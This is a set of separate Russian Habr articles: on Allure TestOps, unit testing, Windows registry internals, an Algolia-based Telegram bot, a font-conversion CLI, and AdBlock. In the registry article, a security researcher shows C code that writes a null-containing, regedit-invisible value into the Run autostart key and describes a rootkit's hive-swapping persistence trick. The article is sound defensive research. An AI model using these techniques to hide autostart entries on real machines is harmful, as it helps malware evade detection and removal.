{
return $this-step('Am on page ' . $url);
}
/**
* @return $this
*/
public function amAuthenticatedAsGuest(): self
{
return $this->step('Am authenticate as guest');
}
}
```
Стоит ли применять такой подход и является ли он избыточным - вопрос хороший! Одно могу точно сказать, что можно совмещать эти два подхода в написание ручных тест кейсов. Первый можно использовать для `быстрых мыслей` и ближайшей автоматизации, а второй к примеру для созданиея структурированных и вдумчивых тест кейсов. Да, при этом редактировать и убираться в репозитории приходится чаще, а подходить к созданию тест-кейсов нужно более ответственно. Лично мне почему-то такой подход ближе. Возможно потому, что он избавляет нас от бездумных тест-кейсов в стиле "проверяю то, сам не знаю что", но это мое личное мнение. Теперь о глобальных минусах. Если нужно что-то прикрепить (картинку или файл) к тест-кейсу, сделать это будет довольно сложно, так как в Allure TestOps эта возможность реализована не для всех языков. Для PHP, это пока что в стадии доработки. Еще один минус заключается в том, что такие ручные тесты постоянно запускаются с автотестами и потребляют драгоценно евремя при прогоне всего набора тестов. Конечно время выполнения такого теста очень маленькое, но это может оттолкнуть от идеи использовать такой подход.
Стоит отметить, что сами тесты после запуска прогона на ветке получают статус: `in_progress`, что достаточно удобно, когда в отчете есть ручные и автоматические тесты. Это означает, что их нужно пройти вручную. Вообще, Allure TestOps умеет назначать тесты на тестировщиков, если вы пропишете правила в настройках запуска. Так же для более удобной работы с такимитестами, есть плагин [Allure TestOps Support](https://plugins.jetbrains.com/plugin/12513-allure-testops-support) , который позволяет удобно выгружать результаты прогонов как ручных так и авто тестов в Allure Testops прямо не выходя из IDE.
Одно могу точно сказать: ребята из Qameta сейчас активно работают в этом направлении и я думаю, что со временем предложат более элегантное решение этого вопроса. Как несложно догадаться, наша команда получила то, чего желала, и пока что остается на этом пути.
Dashboards and reports
----------------------
Что ж, с ручными тестами вроде разобрались, перенесли часть тестов в код, часть удалили, часть по пути автоматизировали, а некоторые тесты вообще расписали как документацию в Confluence, получив внутреннюю базу знаний. Осталось разобраться с отчетами. В Allure TestOps для этого есть отдельная страница, которая так и называется - dashboards. Она представляет из себя набор маленьких дэшбордов и виджетов, на которых можнонайти информацию обо всех тестах, их количестве, запусках (launches) и статистике исполнения.
Страница DashboardsНа виджете “test cases” видно общее количество наших тестов, как ручных, так и автоматических. На виджете `launches` видны запуски и количество тестов, которые были запущены в каждом из них. Если этой информации покажется недостаточно, можно настроить свои виджеты с помощью встроенного query language (аналог языка в JIRA) и сделать практически любой отчет. К примеру мне очень понравилась идея с отчетом, который называется `Test Case Tree Map Chart`, показывающий матрицу покрытия.
Представьте себе единый график, на котором можно посмотреть, что для одной фичи у нас 3 ручных и 1 автотест, а для другой — только 5 ручных тестов. Такой график легко позволяет понять, где хромает автоматизация или тестовое покрытие в принципе.
Заключение и планы на будущее
-----------------------------
Интеграция на этом этапе была завершена и то, что было реализовано в проекте, на текущий момент времени удовлетворяет наши потребности. В ближайших планах более гибкая настройка запуска тестов из Allure TestOps, т.е подготовка набора шаблонов с тестами, организация их в тест-планы и запуск их по отдельности из Allure TestOps на разных устройствах/браузерах/операционных системах. Еще планируем доработать напильником процесс работы с ручными тест-кейсами, а так же перенести часть старых тестов на новый стек. Самое приятно здесь то, что в случае использовании нового стека, нам не нужно менять TMS! Allure TestOps интегрируется почти со всеми популярными фрэймворками и работает из коробки, разве что с тостером не заведтся :)
Сам процесс рефакторинга, как я писал ранее, занял у команды долгий и тяжелый месяц, зато мы поняли, что на проекте автоматизировано, а что нет. Заодно привели в порядок ручные тесты. Стоило ли это того? Для нас - точно да. В итоге все стало работать понятнее и стабильнее.
В качестве заключения хочется сказать, что Allure TestOps, конечно, не является серебрянной пулей или волшебным инструментом, который в одночасье решит все проблемы на проекте. Но однозначно могу сказать, что этот инструмент очень облегчает жизнь инженеров по обеспечению качества, прививая и как бы невзначай навязывая правильные подходы, а также позволяя ощутить атмосферу безмятежной гавани, в которой можно заниматься качеством и приносить пользу, а не постоянно тушить пожары. :)
Всем спасибо, что уделили внимание этой статье, буду рад любым вопросам и постараюсь на них ответить в комментариях. | https://habr.com/ru/post/571476/ | null | ru | null |
# unit-тестирование здорового человека ч.1
### Вступление
Почему тесты не популярны в СНГ у клиентских разработчиков? В мобильной разработке программисты их часто обвиняют в усложнении и удорожании разработки. Примером хорошего продукта без тестов чаще выставляют Телеграм. Но любой, кто лез в его исходники или участвовал в конкурсе, ужасался [кодовой базой](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/submodules/TelegramUI/Components/EntityKeyboard/Sources/EmojiPagerContentComponent.swift).
Я считаю, что такой пример опасен и ведет лишь к ложным ориентирам.
Часто это говорят те, кто вместо полноценной разработки и последующей поддержки, пишет код сразу в прод и забывает о нем навсегда.
Либо это какая-то новая платформа, которая еще не созрела в технической культуре. В любом случае базовые знания о полезности тестов упускаются или игнорируются. Да я и сам был под влиянием инфлюенсеров как же тесты не нужны и это старый пережиток, где в современном мире все решается наймом тысячи ручных тестеров.
Если же ты редко возвращаешься к написанному коду, то ни тесты, ни архитектура, ни алгоритмы особо не нужны. Для работающего приложения это не важно. Это нужно для тебя и твоей команды. Есть ли деньги и время инвестировать в улучшения на раннем этапе, решаешь ты и заказчики.
Если же ты решился, то сложно переоценить пользу тестов. Тесты помогали много раз.
Я собрал здесь множество советов и практик, которые юзал много лет на проектах разных масштабов и технологий. Будь это аутсорс или продукт. Mobile или front-end.
В гугле есть 2 термина для таких спецов:
* кодеры, кто наклепал и забыл
* программный инженер, кто глобально думает о поддержке своего кода
Эта статья для последних
> Программная инженерия охватывает не только написание кода, но и все инструменты и процессы создания и дальнейшей поддержки этого кода (с) "Делай как в Google. Разработка программного обеспечения"
>
>
Содержание:
-----------
* Пирамида тестирования
* Кто это такой ваш юнит-тест?
* Зачем нужны юнит-тесты?
* Проверка только самых важных частей кода
* Метрики
* Свойства идеальных тестов
* Когда не стоит проводить unit-тестирование
* Антипатерны
* Изоляция теста
Пирамида тестирования
---------------------
Чем шире уровень, тем больше тестов. Хорошее приложение должно иметь минимальное кол-во ручных тестов. Они дорогие и неэффективные. Если у вас не так, то ваш процесс проверки качества нездоровый.
Если вам кажется, что тестировщик должен только тестить руками функционал перед релизом или писать автотесты, то вы не работали с хорошим тестировщиком. Ручное тестирование не требует особых навыков и почти любой человек в команде это может выполнить.
**Хороший тестировщик учит и менторит всех в команде как следить за качеством.**
В большинстве случаев ручное тестирование — огромная трата денег и времени. Почти любой тест, допускающий автоматизацию, ***должен******быть***автоматизирован. Это касается модульных, приемочных, интеграционных и системных тестов .
Дорогостоящую операцию, как ручное тестирование, следует оставить для ситуаций, в которых необходимо человеческое суждение. Например, если нужно проверить эстетику графического интерфейса, провести исследовательское тестирование или субъективно оценить простоту взаимодействия .
> Если рассматривать программирование как жизнь на земле, то TDD окажется аналогом квантовой механики . Рефакторинг будет соответствовать химии, а простота проектирования — микробиологии . На уровне физиологии у нас окажутся принципы SOLID, объектно-ориентированное проектирование и функциональное программирование, а на уровне экологии — архитектура. Соответственно, получить чистый код без TDD сложно или невозможно. (c) Роберт Мартин
>
>
Недостатки e2e и интеграционных тестов
--------------------------------------
В клиентских приложениях об юнит тестах почти забывают. Выделяя ресурсы только на UI тесты. Но это неправильно и не всегда полезно.
> Автоматизированные тесты не должны осуществлять проверку бизнес-правил через пользовательский интерфейс. (c) Роберт Мартин
>
>
Это очень распространенная проблема, когда клиентские приложения проверяют корректность бизнес-логики через UI пользователя. Почему это плохо?
* Повышается хрупкость теста. Бизнес-логика никак не зависит от цвета кнопки или дизайна. Это лишь косметический эффекты, что зависят от платформы. Будь у меня андроид, веб или айфон, то ни одно из устройств не должно сломать бизнес-логику. Такие тесты в будущем часто будут флаковать, а в будущем игнорироваться
* Некоторая бизнес-логика не зависят от View слоя или имеют его по-минимуму.
* Дорого для корнер-кейсов. Создавать e2e или компонентные тесты дорого по времени для всех состояний. Часто пишут только один успешный сценарий
* Долгий запуск других тестов. Обычно е2е запускаются рано утром и могут достигать 20-40 часов ожидания.
* Часто дорогие тесты детектят только факт падения, но не дают причины
Чем полезны unit-тесты
----------------------
**Модульное тестирование (unit testing)** — тесты, задача которых проверить каждый класс системы по отдельности. Желательно, чтобы это были минимально делимые кусочки системы, например, модули. Unit-тесты — это тесты для одного класса. Такие тесты используют для тщательной проверки сложной логики и алгоритмов, инкапсулированных в одном классе. Желательно, чтобы у таких классов не было изменяемых зависимостей.
**Зачем нужны юнит-тесты?**
цель — обеспечение *стабильного* роста программного проекта. Ключевым словом здесь является «стабильный». В начале жизни проекта развивать его довольно просто. Намного сложнее поддерживать это развитие с прошествием времени.
Основной смысл модульного тестирования заключается в том, чтобы избежать накапливания ошибок в будущем, а также исключить регрессию уже отлаженных модулей. Например, у вас есть в целом готовое приложение, к которому необходимо добавить несколько новых функций или процессов
**Плюсы юнит-тестов:**
* Выгода на долгой дистанции.
* Рефакторинг. Огромные главы у того же Мартина о бесполезности рефакторинга без юнит-тестов
* Скорость поддержки. Намного легче находить дефекты, баги, браки
* Переиспользование кода
* Документация кода. Нет ничего эффективней, чем понимать код по актуальным тестам бизнес-логики
* Дополнительные гарантии. Очень важный поинт. Особенно, когда возвращаешься через пол года к коду и сомневаешься была ли выполнена проверка должным образом
Юнит-тест позволяет найти баги на этапе разработки. Зафиксировать поведение и гарантировать, что этот кейс был проверен
> Рефакторинг — это практика, позволяющая писать чистый код . Она трудно реализуема, а порой и невозможна без TDD. Соответственно, получить чистый код без TDD сложно или невозможно. (с) все тот же дядька Мартин
>
>
**Проверка только самых важных частей кода**
Эффективность тестов зависит не только от того, как структурированы сами тесты, но и от кода, который они проверяют. Важно направить ваши усилия по юнит-тестированию на самые критические части системы, уделяя остальным частям лишь поверхностное внимание. В большинстве случаев самой важной является часть, содержащая бизнес-логику, — модель предметной области (доменная модель).
Тестирование бизнес-логики обеспечивает тестам наилучшую эффективность.
Все остальные части можно разделить на три категории:
* инфраструктурный код;
* внешние сервисы и зависимости — например, базы данных и сторонние системы;
* код, связывающий все компоненты воедино.
Метрики
-------
**Code Coverage:** наиболее часто используемая метрика покрытия — code coverage, также известная как test coverage. Эта метрика равна отношению количества строк кода, выполняемых по крайней мере одним тестом, к общему количеству строк в основном коде проекта.
**Code coverage (test coverage) = Количество выполненных строк кода / Общее количество строк кода**
```
func isStringLong() -> Bool {
if text.count > 5 {
return true
}
return false
}
```
Покрытие в этом примере вычисляется легко. Общее количество строк в методе равно 5. Количество строк, выполняемых в тесте, равно 4 — тест проходит все строки кода, кроме команды return true. Таким образом, покрытие равно 4/5 = 0,8 = 80 %.
Что будет, если отрефакторить этот метод и убрать избыточную команду if?
```
func isStringLong() -> Bool {
return "string".count > 5
}
```
Изменился ли процент покрытия? Да, изменился. Покрытие кода увеличилось до 100 %. Но улучшилось ли качество тестов с таким рефакторингом? Конечно же, нет. Тест по-прежнему проверяет то же количество ветвлений в коде. **Этот простой пример показывает, как легко подтасовать процент покрытия.**Чем компактнее ваш код, тем лучше становится этот процент, потому что в нем учитывается только количество строк. В то же время попытки втиснуть больше кода в меньший объем не изменяют общую эффективность тестов.
**Процент покрытия служит хорошим негативным признаком, но плохим позитивным.**
---
**Branch coverage:**
Другая метрика покрытия называется branch coverage (покрытием ветвей).
Branch coverage показывает более точные результаты, чем code coverage. Вместо того чтобы использовать количество строк кода, эта метрика ориентируется на управляющие структуры — такие как команды if и switch. Она показывает, какое количество таких управляющих структур обходится по крайней мере одним тестом в проекте
**Branch coverage = Количество покрытых ветвей / Общее количество ветвей**
Чтобы вычислить метрику branch coverage, необходимо подсчитать все возможные ветви (branches) в коде и посмотреть, сколько из них выполняются тестами. Вернемся к предыдущему примеру со строкой.
Метод **IsStringLong**содержит две ветви: одна для ситуации, в которой длина строкового аргумента превышает пять символов, и другая для строк, длина которых менее или равна 5 символам. Тест покрывает только одну из этих ветвей, поэтому метрика покрытия составляет 1/2 = 0,5 = 50 %. При этом неважно, какое представление будет выбрано для тестируемого кода — будете ли вы использовать команду if, как прежде, или выберете более короткую запись. Метрика branch coverage принимает во внимание только количество ветвей; она не учитывает, сколько строк кода понадобилось для реализации этих ветвей.
Свойства идеальных тестов:
--------------------------
1. **защита от багов.** Чем больше кода в проекте, тем выше шанс поймать баг. Хороший юнит-тест — лучшая защита от багов. Чтобы понять насколько код хорошо защищен нужно оценить:
1. объем кода, выполняемого тестом
2. сложность этого кода
3. важность этого кода с точки зрения бизнес-логикКак правило, чем больше кода тест выполняет, тем выше вероятность выявить в нем баг
2. **устойчивость к рефакторингу.** Эта устойчивость определяет, насколько хорошо тест может пережить рефакторинг тестируемого им кода без выдачи ошибок. Иначе говоря, тест не должен ломаться при улучшении кода.
3. **Нет привязанности к деталям имплементации.** Избежать хрупкости в тестах и повысить их устойчивость к рефакторингу можно только одним способом — отвязав их от деталей имплементации тестируемой системы. Тесты должны находиться как можно дальше от внутренних механизмов кода и проверять только конечный результат.
4. **быстрая обратная** связь является одним из важнейших свойств юнит-теста. Чем быстрее работают тесты, тем больше их можно включить в проект и тем чаще вы их сможете запускать.
5. **простота поддержки**— оценивает затраты на сопровождение кода. Метрика состоит из двух компонентов:
1. *Насколько сложно тест понять*. Этот компонент связан с размером теста. Чем меньше кода в тесте, тем проще он читается.
2. *Насколько сложно тест запустить.* Если тест работает с внепроцессными зависимостями, вам придется тратить время на то, чтобы поддерживать эти зависимости в рабочем состоянии
Возможно, чтобы идеальный тест выполнял требования всех пунктов? К сожалению, создать такой тест невозможно
Когда не стоит проводить unit-тестирование
------------------------------------------
Модульное тестирование — не универсальный инструмент проверки программного продукта. В некоторых ситуациях оно лишь отнимет время и силы, не показав значимого результата, например:
* при тестировании сложных и разветвленных алгоритмов, таких как красно-черное дерево, придется разработать большое число тестов, что существенно усложнит и замедлит проверку;
* отсутствии четких результатов — например, в математическом моделировании природных процессов, настолько сложных, что их «выход» невозможно спрогнозировать, а можно только описать в виде интервалов вероятных значений;
* тестировании кода, взаимодействующего с системой, — например, модуля, связанного с портами, таймерами и другими «нестабильными» компонентами, от которых его сложно изолировать;
* проверке всего приложения — модульное тестирование не покажет ошибки интеграции, баги ядра и другие аспекты, не относящиеся непосредственно к конкретному модулю;
* недостаточной квалификации самого разработчика и низкой культуре программирования, так как модульное тестирование работает только при строгом соблюдении технологии, постоянном отслеживании всех вносимых в модуль изменениях.
Unit-тестирование окажется бесполезным и при проверке максимально простого кода. Точнее, оно сработает и покажет правильный результат, но сил на написание теста уйдет больше, чем на «ручной» анализ модуля.
Антипатерны
-----------
* **Тестовый код не должен дублироваться**.
* **Тестирование приватных методов.** Обычно приватные методы не тестируют. Не стоит делать публичными методы, которые иначе остались бы приватными, только для облегчения юнит-тестирования. Это нарушает один из фундаментальных принципов. Раскрытие приватных методов ведет к привязке тестов к деталям имплементации и в конечном итоге вредит устойчивости ваших тестов к рефакторингу, что является самой важной метрикой
+ **Не ориентируйтесь ни на какую конкретную реализацию при написании тестов. Проверяйте рабочий код с точки зрения «черного ящика»**
* **Закомментированные или выключенные тесты**. Тесты всегда должны находиться в рабочем и актуальном состоянии.
* **Загрязнение кода** — добавление рабочего кода, который необходим только для тестирования. Это антипаттерн, потому что код тестов смешивается с рабочим кодом, что повышает затраты на сопровождение последнего.
Изоляция теста
--------------
Вопрос изоляции — это корень различий между классической и лондонской школой юнит-тестирования
Что же означает «изоляция кода» в юнит-тестировании? Есть [2 школы](https://habr.com/ru/company/jugru/blog/571126/) тестирования: лондонская и классическая.
* **Лондонская** школа описывает это как изоляцию тестируемого кода от его зависимостей. Это означает, что если класс имеет зависимость от другого класса или нескольких классов, все такие зависимости должны быть заменены на тестовые заглушки (test doubles). Это позволит вам сосредоточиться исключительно на тестируемом классе, изолировав его поведение от внешнего влияния
Одно из преимуществ такого подхода заключается в том, что в случае падения теста вы точно знаете, какая часть кода содержит ошибку: это сама тестируемая система. Других подозреваемых быть не может, потому что все соседние классы были заменены заглушками.
* **Классическая**: В классическом подходе изолируются друг от друга не фрагменты рабочего кода, а сами тесты. Такая изоляция позволяет вам запускать эти тесты параллельно, последовательно и в любом порядке, не влияя на результат работы этих тестов.
Классический подход к изоляции не запрещает вам тестировать несколько классов одновременно, при условии что все они находятся в памяти и не обращаются.
---
В следующих статьях мы поговорим о более детальных примерах с кодом, черных и белых ящиках
Используемая литература:
* книга ["Принципы юнит тестирования"](https://habr.com/ru/company/piter/blog/528872/)
* Книга ["iOS Unit Testing by Example"](https://pragprog.com/titles/jrlegios/ios-unit-testing-by-example/)
* [Доклад](https://assets.ctfassets.net/ut4a3ciohj8i/4ZgFYiz3tn2fCPjxTPDM0f/9d537da6eabad3fda77731586ffbf23c/Vladimir_Khorikov_Printsipy_yunit-testirovaniya_2021_08_25_13_10_52.pdf) "Принципы юнит тестирования"
* [Тест-ревью: как прошли два года написания unit-тестов](https://habr.com/ru/company/dododev/blog/661741/)
* ["Agile Testing"](https://www.mann-ivanov-ferber.ru/books/agile-testirovanie/) | https://habr.com/ru/post/709228/ | null | ru | null |
# Три коротких истории о реестре Windows
Добрый день, уважаемые читатели.
Реестр — это одна из самых заметных и значительных систем Windows. Вряд ли найдется человек, который не слышал о нем. Занимаясь программированием под Windows уже около 20 лет, я думал, что знаю о нем все. Но время от времени появляется что-то новое, что показывает мне, как я был неправ. Поэтому сегодня я хочу рассказать вам о необычных способах работы с реестром, которые я встречал, исследуя руткиты, и которые удивили меня.
История первая. Имена значений и ключей реестра
-----------------------------------------------
Все мы знаем, что в Windows существуют некоторые правила именования объектов, будь то файлы, каталоги или ключи реестра. Имена файлов не могут содержать символ “\”. Имена не могут быть пустыми. У имен есть некоторые ограничения по длине и т. д.
Невольно мы распространяем эти ограничения на все системы Windows и соблюдаем их при работе с реестром. И тут заключается наша ошибка. В реестре ограничений при создании имен на удивление мало. Например, в имени значений можно использовать символ “\”
Удивлены? Нет? Тогда что вы скажете, если я покажу вам, что в имени значения можно использовать символ “\0”? Да-да, именно нулевой символ. Тот самый, который традиционно используется для указания конца строки.
Для этого нам понадобится функция NtSetValueKey, экспортируемая из ntdll.dll
```
HKEY hKey = 0;
RegOpenKeyA(
HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
&hKey);
UNICODE_STRING uName;
uName.Buffer = L"Test\0Zero";
uName.MaxLen = uName.Length = 9 * sizeof(wchar_t);
NTSTATUS status = 0;
status = NtSetValueKey(
hKey,
&uName,
0,
REG_SZ,
(void*)lpData,
DataSize);
RegCloseKey(hKey);
```
Для выполнения функции NtSetValueKey вам понадобятся права администратора. В результате у вас в реестре появится значение с именем Test\0Zero.
Некоторые разработчики Microsoft тоже будут удивлены, т. к. стандартный редактор реестра не может отобразить такое необычное значение реестра.
История вторая
--------------
Вторая история, которую я вам сегодня расскажу, произошла в 2013 году.
Вначале небольшое отступление. В «Лаборатории Касперского» я являюсь членом команды, которая, помимо всего прочего, создает Kaspersky Rescue Disk. Для лечения Windows из-под Linux нам необходимо самостоятельно разбирать файлы реестра. И для проверки правильности работы этого механизма мы используем множество тестов. Среди них есть один достаточно простой:
* Под Windows записываем в реестре тестовые значения.
* Копируем файл куста реестра в тестовый каталог.
* Запускаем программу, выполняющую удаление тестовых значений.
* Загружаем модифицированный куст в реестр для проверки правильности удаления.
И вот в один прекрасный день мы обновили на тестовом стенде Windows до версии 8.1, и тест перестал удалять проверочные значения. Как же так, удивился я. Скопировал файл с кустом реестра к себе на рабочий компьютер — нет значений! Моя первая мысль: нужно добавить в тест Flush измененных ключей. Добавил вызов RegFlushKey, перезапустил тест — нет значений!
Неужели RegFlushKey не работает, задумался я. Но, как оказалось, прав я был лишь частично.
Фокус оказался в том, что в Windows 8.1 компания Microsoft изменила механизм сохранения изменений в реестр. Раньше все изменения реестра накапливались в памяти, а потом, при закрытии ключа, при выполнении RegFlushKey или по истечении некоторого времени система сохраняла изменения в файл куста реестра. В Windows 8.1 изменения вместо файла куста реестра сохраняются в одноименные файлы с расширениями .LOG, .LOG1 и .LOG2, а мой код эти файлы в те времена игнорировал.
В этих файлах изменения накапливаются около часа. И лишь после этого Windows начинает задачу интеграции изменений в основной файл. Эта задача называется Reconciliation, и она запускается либо раз в 40 минут, либо при завершении работы Windows. Вызов функции RegFlushKey к запуску задачи Reconciliation не приводит. Для принудительного запуска задачи интеграции изменений нужно вызвать ZwSetSystemInformation с недокументированным аргументом SystemRegistryReconciliationInformation.
```
ZwSetSystemInformation(
0x9b, //SystemRegistryReconciliationInformation
NULL,
0);
```
Для выполнения функции ZwSetSystemInformation вам понадобятся права администратора. А архитектура исполняемого файла должна совпадать с архитектурой системы. Вызвать эту функцию из 32-битной программы в 64-битной Windows не получится.
История третья
--------------
Некоторое время назад мы обнаружили руткит, который прописывал в реестре запуск своего драйвера. Наши продукты удаляли соответствующие ключи реестра, но после перезагрузки ключи оказывались на своих местах. Похоже, он ставит свои callback-функции на изменения реестра и после наших изменений восстанавливает свои ключи, подумал я. Но оказалось, что нет. Точнее — да. Callback-функции руткит ставил, но к задаче восстановления ключей они не имели никакого отношения. Все было сделано проще и изящнее.
Драйвер руткита при запуске переименовывал файл куста реестра SYSTEM в HARDWARE. Создавал свой файл SYSTEM и периодически сохранял в него с помощью функции RegSaveKey ветку HKLM/System. При сохранении он восстанавливал свои ключи. При перезагрузке Windows система загружала файл SYSTEM и запускала драйвер руткита. Красиво? Красиво.
### Wanted
P.S. У нас тут ищут [разработчика-исследователя](https://moikrug.ru/vacancies/1000043201) в команду, которая пилит анти-спамовый движок, а еще нужен [инженер по тестированию](https://moikrug.ru/vacancies/1000040352). | https://habr.com/ru/post/415699/ | null | ru | null |
# Пример использования API поиска Algolia на примере телеграм бота
В данном примере разберем, как пользоваться API поиска в известном поисковом сервисе Algolia.
Идея
----
Идея была предельно проста, необходимо было сделать бот, который при введении имени препарата находит информацию о том, через сколько можно употреблять алкоголь. Сразу скажу, что бот был запилен и успешно работает, помогая (я надеюсь) сохранить здоровье граждан. Если что, то Алкобот доктора Знаева [тут](http://t.me/znaev_alco_bot?start=eyJjaGFubmVsIjoiQmFzaG1ha292IGhhYnIifQ==)
Задача
------
На входе имеем имя препарата, по нему хотим найти релевантную запись из базы данных и отправить пользователю. В принципе всё довольно просто, никаких ракетных технологий. Но проблема в том, что пользователи очень часто опечатываются или вводят название неправильно. Для решения этой задачи лучше всего подходил поисковый движок с fuzzy поиском. Решено было воспользоваться Algolia, так как в неё удобно добавлять данные и она предоставляет удобный довольно простой API для использования.
Вот кусочек данных в формате JSON
```
{
"drugs": [ // по этому полю будем искать
"Допегит",
"Метилдопа"
],
"threashold": "12 часов", // это показываем пользователю
"consequences": "Усиливает снижение давления", // и это показываем
"objectID": "ff26ba646e8ba_dashboard_generated_id" // сгенерированный Algolia айди
}
```
Данные
------
Данные собирали долго и мучительно. Профессиональный нарколог несколько недель собирал информацию с РЛС (Регистр Лекарственных Средств) и отправлял ее мне.
Индекс
------
Теперь необходимо создать проект и индекс. Тут всё довольно просто, нажимаем Create New, выбираем бесплатную версию (она допускает до 10 тыс запросов в месяц, больше чем достаточно). Далее выбираем дата центр. Algolia переместила свои датацентры из России, но мои лежат в Европе, пока проблем не было. Далее нажимаем все нужные галочки и нажимаем Создать
Вам сразу предложат создать первый индекс, что конечно же надо сделать. Не думаю, что есть смысл загружать каждый шаг, там в общем-то всё очень просто. Далее надо выбрать как будем вносить данные, я выбрал ручной способ.
Далее необходимо взять наши JSON объекты и вставить их во всплывающее окно.
При создании объектов таким образом, каждая запись получит id в формате ***ff26ba646e8ba\_dashboard\_generated\_id.*** Выглядит так себе, но жить можно.
Теперь индекс надо настроить, что бы поиск происходил не по всем данным, а только по массиву **drugs**
Для этого в интерфейсе индекса идём во вкладку Configuration и добавляем поле для индексации (кнопка **Add searchable Attribute**)
Код
---
Что бы получить доступ к индексу нам понадобятся id нашего приложения и ключи. Я использую ключ администратора, так как иногда пишу в базу. Идём в **Settings** -> **Api Keys,** там лежат наши ключи.
Теперь перейдём к коду. Сервер крутиться на node.js, примеры будут на нём же.
Итак, импортируем библиотеку и инициализируем индекс
```
const algoliasearch = require('algoliasearch');
const client = algoliasearch(ALGOLIA_APP_ID, ALGOLIA_ADMIN_API_KEY);
const alco = client.initIndex('alco'); // alco называется мой индекс в Algolia
```
Поиск
-----
По названию препарата ищем запись
```
exports.findDrug = async (drug, user = {}) => {
return alco.search(drug, { userToken: `${user.id}`, typoTolerance: 'strict', });
}
```
Эта функция вернёт объект в котором есть поле **hits**, это массив с результатами поиска. У Algolia отличная документация с примерами кода. Вот [ссылка](https://www.algolia.com/doc/api-reference/api-methods/search/) на нашу search функцию
Тут у нас есть три варианта
**Ничего не найдено**. Показываем сообщение, что ничего не найдено.
**Найден один вариант**. Берем единственный вариант, вынимаем нужные значения и формируем ответ пользователю.
**Найдено несколько вариантов**. Чуть сложней. Я не парюсь, беру первые два совпадения и выдергиваю из них названия и айдишник записи и формирую из них кнопку
```
if (hits.length > 1) {
const ret = [];
const firstMatches = hits.splice(0, Math.min(2, hits.length));
const matches = firstMatches.map(({ objectID, _highlightResult }) => ({ objectID, match: utils.fetchDrugNameFromAliases(_highlightResult.drugs) }));
const buttons = matches.map(({ objectID, match }) => ([{ text: match, callback_data: `/match&${objectID}` }]));
options.reply_markup = JSON.stringify({ inline_keyboard: buttons });
return [FEW_RESULTS_FOUND, options];
}
```
[\_highlightResult](https://www.algolia.com/doc/api-reference/api-methods/search/#method-response-_highlightresult) содержит массив **drugs**, потому что в индексе это поле так же массив, у каждой записи будет степень совпадения, по ней и фильтруем
* `none` (0)
* `partial` (some)
* `full` (all)
Результат выглядит у пользователя вот так :
Поиск по ID
-----------
В каждой кнопке зашит id записи и при нажатии надо вытянуть именно её.
```
exports.find = async (drugId) => {
return alco.getObject(drugId);
}
```
Итого
-----
Вот таким нехитрым способом мы интегрировали высококлассный поиск в наше скромное приложение. Не пришлось поднимать никаких баз данных, кластеров или прочего. Вообще Algolia очень мощная штука, у них там и AI встроен для рекомендаций и вообще всё кашерно.
Всем спасибо. Ваш Ö. | https://habr.com/ru/post/700724/ | null | ru | null |
# Автоматизируем генерацию @font-face kit'ов из консоли
Если вы когда либо задумывались, можно ли как то автоматизировать генерацию шрифтов для вэба или вам надоело заходить на Font Squirrel каждый раз, то, как говорится, добро пожаловать под кат.
На днях я написал консольную утилиту, по сути дела клиент, для популярного генератора вэб-шрифтов [Font Squirrel](http://www.fontsquirrel.com/tools/webfont-generator). Назвал я ее Marmot (Сурок), и вот что она умеет делать:
```
marmot Averia-Regular.ttf # ls . => webfontkit.zip
```
Marmot берет любой шрифт, загружает его на Font Squirrel и скачивает архив c woff, ttf, eot и svg версией шрифта. По умолчанию используются стандартные настройки генератора.
В архиве, который вы скачиваете с Font Squirrel'а всегда есть файлик, который называется **generator-config.txt**, так вот Marmot умеет его читать:
```
marmot -c generator-config.txt font.otf
```
#### Круто, круто, откуда качать, как ставить?
Marmot написан на руби, ставится как обычный джем:
```
gem install marmot
```
#### А как его настраивать?
Один из вариантов — это использовать конфиг файл, про который я писал выше. Формат — JSON, выглядят они примерно так:
```
{
"formats":["ttf", "woff", "svg"],
"fallback":"none",
"subset_custom_range":"E000-F8FF",
"emsquare":"1000"
}
```
Второй вариант, задавать параметры через консоль:
```
marmot --no-add-hyphens --formats=ttf,woff font.otf
```
Параметров много, и названия их иногда прямо скажем непонятные, чтобы было проще, заходим на [страницу генератора](http://www.fontsquirrel.com/tools/webfont-generator) и в консоли запускаем такой код:
```
$("input[value='expert'], input[value='advanced']").click();
$("table input").each(function(){
$(this).after($(""+$(this).attr("name")+" : "+$(this).attr("value")+""));
});
```
Так будет понятнее:
#### Картинка про троллейбус или зачем это надо
На самом деле, в большинстве случаев наверное проще зайти на страницу генератора, один раз сгенерировать нужный шрифт и положить в папку с проектом.
#### Ну ты приколист, и зачем я все это прочитал тогда?
На днях мне приходилось работать с иконочным шрифтом (а это сейчас модная тема, да?) и по мере добавления новых иконок нужно было повторять эту унылую процедуру конвертации каждый раз. Чтобы этого не делать (а также избавить всех вас от подобных мук), я написал Marmot.
Теперь я просто запускаю скриптик, по типу такого:
```
rm -r ./web/app/assets/fonts/icons
marmot -dc ./web/config/font-config.json ./design/icons-Regular.otf output.zip && unzip output.zip -d ./web/app/assets/fonts/icons
```
… и все
Моя поделка пригодится всем тем, кому порой хотелось автоматизировать этот процесс, ну и таким гикам, как я, кто любит все делать из консоли.
Если кому интересно, вот код на гитхабе: [код на Github](https://github.com/petethepig/marmot)
Всем мир | https://habr.com/ru/post/173957/ | null | ru | null |
# Блокируем навязчивые виджеты обратного звонка на сайтах
По роду своей деятельности я не так часто сталкиваюсь с сайтами за пределами своей области (YouTube не в счет), поэтому всегда считал, что AdBlock, в принципе, справляется со всей надоедливой рекламой (я считаю рекламу полезной когда она действительно позволяет приобрести что-то полезное, например, именно благодаря тому, что однажды я забыл включить блокировщик рекламы, я приобрел отличные в соотношении цена/качество колонки, которые верно служат мне по сей день уже почти десять лет). Однако в конечном итоге именно для борьбы с недобросовестными вебмастерами и засилием вредоносной рекламы и был создан AdBlock. Его работа основана на блокировке отдельных элементов на странице, чем мы сейчас и займемся.
